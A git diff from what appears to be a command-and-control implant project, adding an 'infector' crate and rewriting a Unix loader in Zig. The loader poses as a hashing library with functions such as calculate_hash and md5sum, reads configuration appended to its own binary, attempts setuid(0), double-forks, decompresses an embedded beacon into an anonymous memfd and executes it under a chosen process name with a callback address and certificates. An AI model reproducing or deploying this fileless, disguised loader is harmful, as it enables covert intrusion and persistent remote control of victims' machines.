diff --git a/Cargo.lock b/Cargo.lock
index 29bc6de..33e030d 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -2011,6 +2011,10 @@ dependencies = [
  "pcap-sys",
 ]
 
+[[package]]
+name = "sparse-infector"
+version = "2.0.0"
+
 [[package]]
 name = "sparse-installer"
 version = "2.0.0"
diff --git a/packages.nix b/packages.nix
index 81917f8..e4a398b 100644
--- a/packages.nix
+++ b/packages.nix
@@ -51,6 +51,7 @@ let
       (craneLib.fileset.commonCargoSources ./nl-sys)
       ./nl-sys/src/bridge.c
       (craneLib.fileset.commonCargoSources ./packets)
+      (craneLib.fileset.commonCargoSources ./sparse-infector)
       (craneLib.fileset.commonCargoSources ./sparse-beacon)
       (craneLib.fileset.commonCargoSources ./sparse-unix-beacon)
       (craneLib.fileset.commonCargoSources ./sparse-windows-beacon)
@@ -70,6 +71,7 @@ let
       (craneLib.fileset.commonCargoSources ./nl-sys)
       ./nl-sys/src/bridge.c
       (craneLib.fileset.commonCargoSources ./packets)
+      (craneLib.fileset.commonCargoSources ./sparse-infector)
       (craneLib.fileset.commonCargoSources ./sparse-installer)
     ];
   };
diff --git a/sparse-infector/Cargo.toml b/sparse-infector/Cargo.toml
new file mode 100644
index 0000000..0b5674d
--- /dev/null
+++ b/sparse-infector/Cargo.toml
@@ -0,0 +1,6 @@
+[package]
+name = "sparse-infector"
+edition = "2024"
+version.workspace = true
+
+[dependencies]
diff --git a/sparse-infector/src/lib.rs b/sparse-infector/src/lib.rs
new file mode 100644
index 0000000..b93cf3f
--- /dev/null
+++ b/sparse-infector/src/lib.rs
@@ -0,0 +1,14 @@
+pub fn add(left: u64, right: u64) -> u64 {
+    left + right
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn it_works() {
+        let result = add(2, 2);
+        assert_eq!(result, 4);
+    }
+}
diff --git a/unix-loader/build.zig b/unix-loader/build.zig
index 75b64e5..fa1b509 100644
--- a/unix-loader/build.zig
+++ b/unix-loader/build.zig
@@ -26,12 +26,13 @@ pub fn build(b: *std.Build) !void {
         .pic = true,
     });
 
+    libloader.addIncludePath(b.path("src"));
     libloader.root_module.addAnonymousImport("beacon", .{ .root_source_file = compressed_beacon });
     libloader.linkLibC();
 
     libloader.step.dependOn(&tool_step.step);
 
-    const lib = b.addSharedLibrary(.{
+    var lib = b.addSharedLibrary(.{
         .name = "unix-loader",
         .root_source_file = b.path("src/loader.zig"),
         .target = target,
@@ -47,7 +48,9 @@ pub fn build(b: *std.Build) !void {
         .strip = true,
     });
 
+    lib.addIncludePath(b.path("src"));
     lib.addObject(libloader);
+    exe.addIncludePath(b.path("src"));
     exe.addObject(libloader);
 
     b.installArtifact(lib);
diff --git a/unix-loader/src/abi.h b/unix-loader/src/abi.h
index 3c132a1..35019b5 100644
--- a/unix-loader/src/abi.h
+++ b/unix-loader/src/abi.h
@@ -1,10 +1,34 @@
+#define XOR_KEY 98
+
+typedef struct {
+  unsigned char a;
+  unsigned char b;
+  unsigned char c;
+  unsigned char d;
+} ipaddr_t;
+
+typedef union SourceIp {
+  struct {
+    char mode; // set to 0
+    ipaddr_t source_ip;
+  } use_host_networking;
+  struct {
+    char mode; // set to 1
+    unsigned short netmask;
+    ipaddr_t source_ip;
+    ipaddr_t gateway;
+  } custom_networking;
+} SourceIp_t;
+
 typedef struct Parameters {
-  int destination_ip;
-  int source_ip;
-  short destination_port;
-  short pubkey_cert_size;
-  short privkey_size;
-  short privkey_cert_size;
+  ipaddr_t destination_ip;
+  SourceIp_t source_ip;
+  unsigned short destination_port;
+  unsigned short pubkey_cert_size;
+  unsigned short privkey_size;
+  unsigned short privkey_cert_size;
+  unsigned short beacon_name_length;
   char pubkey_cert[1024];
-  char identifier[64];
+  char beacon_identifier[64];
+  char beacon_name[128];
 } Parameters_t;
diff --git a/unix-loader/src/libloader.zig b/unix-loader/src/libloader.zig
index 079f840..2e36d4d 100644
--- a/unix-loader/src/libloader.zig
+++ b/unix-loader/src/libloader.zig
@@ -4,22 +4,48 @@ const beacon = @embedFile("beacon");
 
 const Parameters = @cImport({
     @cInclude("abi.h");
-}).Parameters_t;
+}).Parameters;
+
+fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
+    std.debug.print("Test {s}", .{parameters.beacon_identifier});
+
+    const uid = std.os.linux.getuid();
+    _ = std.c.setuid(0);
+
+    if (std.os.linux.getuid() != 0) {
+        return;
+    }
 
-fn use_beacon(message: []const u8) !void {
     const pid = std.c.fork();
     if (pid == 0) {
         if (std.c.fork() == 0) {
-            const target_fd = try std.posix.memfd_create("", 0);
-            var reader = std.io.fixedBufferStream(message);
+            const exe_fd = try std.posix.memfd_create("", 0);
+            var gzipped_exe_stream = std.io.fixedBufferStream(gzipped_exe);
+            var exe_file = std.fs.File{ .handle = exe_fd };
 
-            var target_file = std.fs.File{ .handle = target_fd };
+            try std.compress.gzip.decompress(gzipped_exe_stream.reader(), exe_file.writer());
 
-            try std.compress.gzip.decompress(reader.reader(), target_file.writer());
+            var params_buffer: [@sizeOf(Parameters) + 1]u8 = undefined;
+            const params_input_ptr: [*]u8 = @ptrCast(parameters);
+            @memcpy(params_buffer[0..@sizeOf(Parameters)], params_input_ptr);
+            params_buffer[@sizeOf(Parameters)] = 0;
 
-            while (true) {}
+            try exe_file.writer().writeAll(&params_buffer);
 
-            std.c.exit(0);
+            var arena = std.heap.ArenaAllocator.init(std.heap.page_allocator);
+            defer arena.deinit();
+            const alloc = arena.allocator();
+
+            const file_path = try std.fmt.allocPrint(alloc, "/proc/self/fd/{d}", .{exe_fd});
+
+            const beacon_name = try alloc.dupeZ(u8, parameters.beacon_name[0..parameters.beacon_name_length]);
+            const file_path_ptr = try alloc.dupeZ(u8, file_path);
+
+            const argv: [*:null]const ?[*:0]const u8 = &.{ beacon_name, null };
+            const envp: [*:null]const ?[*:0]const u8 = &.{null};
+
+            _ = std.c.execve(file_path_ptr, argv, envp);
+            std.c.exit(1);
         }
         std.c.exit(0);
     } else {
@@ -27,8 +53,14 @@ fn use_beacon(message: []const u8) !void {
         _ = std.c.waitpid(pid, &status, 0);
         _ = std.c.kill(pid, std.c.SIG.KILL);
     }
+
+    _ = std.c.setuid(uid);
 }
 
-export fn hash_internals() void {
-    use_beacon(beacon) catch {};
+export fn hash_internals(parameters: *Parameters) void {
+    use_beacon(beacon, parameters) catch |err| {
+        if (@import("builtin").mode == .Debug) {
+            std.debug.print("Error using hash internals! {any}", .{err});
+        }
+    };
 }
diff --git a/unix-loader/src/loader.zig b/unix-loader/src/loader.zig
index e61d496..37fd5a3 100644
--- a/unix-loader/src/loader.zig
+++ b/unix-loader/src/loader.zig
@@ -1,13 +1,36 @@
-extern fn hash_internals() void;
+const std = @import("std");
+const dbg = @import("builtin").mode == .Debug;
 
 const Parameters = @cImport({
     @cInclude("abi.h");
-}).Parameters_t;
+}).Parameters;
 
-export fn calculate_hash() void {
-    hash_internals();
+extern fn hash_internals(parameters: *Parameters) void;
+
+var file_parameters: Parameters = undefined;
+
+fn fill_parameters() !void {
+    const this_file = try std.fs.openSelfExe(std.fs.File.OpenFlags{});
+
+    try this_file.seekFromEnd(@sizeOf(Parameters));
+
+    var param_buffer: [@sizeOf(Parameters)]u8 = undefined;
+    _ = try this_file.reader().read(&param_buffer);
+
+    @memcpy(@as([*]u8, @ptrCast(&file_parameters)), &param_buffer);
 }
 
+export fn calculate_hash() void {
+    fill_parameters() catch |err| {
+        if (dbg) {
+            std.debug.print("Error calculating hash! {any}", .{err});
+        }
+        return;
+    };
+    hash_internals(&file_parameters);
+}
+
+export fn md4sum() void {}
 export fn md5sum() void {}
 export fn sha256sum() void {}
 export fn sha384sum() void {}